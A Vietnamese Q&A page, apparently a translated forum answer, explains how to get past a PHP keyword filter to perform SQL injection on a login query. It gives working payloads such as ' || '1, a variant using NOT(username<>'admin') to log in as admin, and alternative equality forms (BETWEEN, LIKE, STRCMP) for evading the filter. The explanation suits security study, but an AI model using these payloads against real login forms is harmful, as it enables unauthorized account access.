Mysql
 sql >> Cơ Sở Dữ Liệu >  >> RDS >> Mysql

Chèn SQL với lọc php

Giả sử định nghĩa này về lvl2_filter , về cơ bản loại bỏ bất kỳ sự xuất hiện nào của =or cho đến khi không còn được tìm thấy nữa, vẫn có thể sử dụng phép toán HOẶC logic với || thay vì OR và một biểu thức đơn giản được đánh giá là true như:

username: dummy
password: ' || '1

Điều này sẽ dẫn đến:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Để chọn một người dùng cụ thể, người ta có thể sử dụng quy tắc của đại số boolean , trong đó x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Điều này sẽ dẫn đến:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Đây <> tương đương với != nhưng không chứa = .

Ngoài ra còn có các hoạt động khác mà người ta có thể sử dụng ensure tên người dùng bằng admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Làm cách nào để lập lịch truy vấn MySQL?

  2. Thứ tự truy vấn MySQL theo nhiều mục

  3. MySQL - InnoDB so với MyISAM

  4. Làm thế nào để Đoán giản đồ trong Mysqlinput một cách nhanh chóng trong Talend

  5. Thêm một liên kết bên trong vào câu lệnh GROUP_CONCAT của mySQL